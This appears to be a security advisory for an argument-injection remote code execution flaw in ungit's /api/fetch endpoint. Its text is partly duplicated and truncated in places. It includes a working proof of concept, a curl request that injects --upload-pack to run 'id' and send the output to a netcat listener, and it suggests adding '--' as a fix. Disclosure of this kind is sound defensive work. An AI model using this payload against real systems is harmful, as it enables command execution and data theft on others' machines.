The fetch subcommand accepts a special argument --upload-pack (https://git-scm.com/docs/git-fetch#Documentation/git-fetch.txt---upload-packltupload-packgt). Since the user controls two values provided to the fetch git subcommand (remote and ref), it is possible to execute arbitrary commands by providing the remote value to be --upload-pack="command to execute". The command executed will be similar to the following:
git fetch --upload-pack="command to execute" foobar
A possible remediation to fix this issue could be to add -- (see here for more information about it https://git-scm.com/docs/gitcli/2.25.0#_description) before the user provided values (it's just a suggestion):
run the following curl command to get the output of the id command:
curl -d '{"path":"/home/ubuntu/poc/ungit","remote":"--upload-pack=curl http://localhost:8000/ --data \"$(id)\"","ref":"foobar","socketId":1}' -H "Content-Type: application/json" -X POST http://localhost:8448/api/fetch
source: snyk.io
Vulnerability: Remote Code Execution
Affected Version: *
Technical Details:
It's possible to get remote code execution via argument injection.
The issue occurs when calling the /api/fetch endpoint. The user input is passed to the git subcommand fetch. Even if a safe API like spawn is used to execute shell commands (https://github.com/FredrikNoren/ungit/blob/6aff6dccc4f15a66f22fd44415d57c8e32eebf39/source/git-promise.js#L69), in this specific case it's still possible to run arbitrary commands via argument injection.
The fetch subcommand accepts a special argument --upload-pack (https://git-scm.com/docs/git-fetch#Documentation/git-fetch.txt---upload-packltupload-packgt). Since the user controls two values provided to the fetch git subcommand (remote and ref), it is possible to execute arbitrary commands by providing the remote value to be --upload-pack="command to execute". The command executed will be similar to the following:
git fetch --upload-pack="command to execute" foobar
Here is the code that accepts these values:
// https://github.com/FredrikNoren/ungit/blob/6aff6dccc4f15a66f22fd44415d57c8e32eebf39/source/git-api.js#L294-L297 app.post(
${exports.pathPrefix}/fetch
, ensureAuthenticated, ensurePathExists, ensureValidSocketId, (req, res) => { // Allow a little longer timeout on fetch (10min) if (res.setTimeout) res.setTimeout(tenMinTimeoutMs););
Potential Fix
A possible remediation to fix this issue could be to add -- (see here for more information about it https://git-scm.com/docs/gitcli/2.25.0#_description) before the user provided values (it's just a suggestion):
Proof Of Concept/Steps to Reproduce
Install ungit and setup a project (I used ungit repo itself) cd /home/ubuntu/poc/ npm install -g ungit git clone https://github.com/FredrikNoren/ungit.git cd ungit/ ungit the project will be available at http://localhost:8448/#/repository?path=/home/ubuntu/poc/ungit RCE Exploitation setup a listener for accepting incoming connections: nc -nvlp 8000
run the following curl command to get the output of the id command: curl -d '{"path":"/home/ubuntu/poc/ungit","remote":"--upload-pack=curl http://localhost:8000/ --data \"$(id)\"","ref":"foobar","socketId":1}' -H "Content-Type: application/json" -X POST http://localhost:8448/api/fetch
This is the same request sent: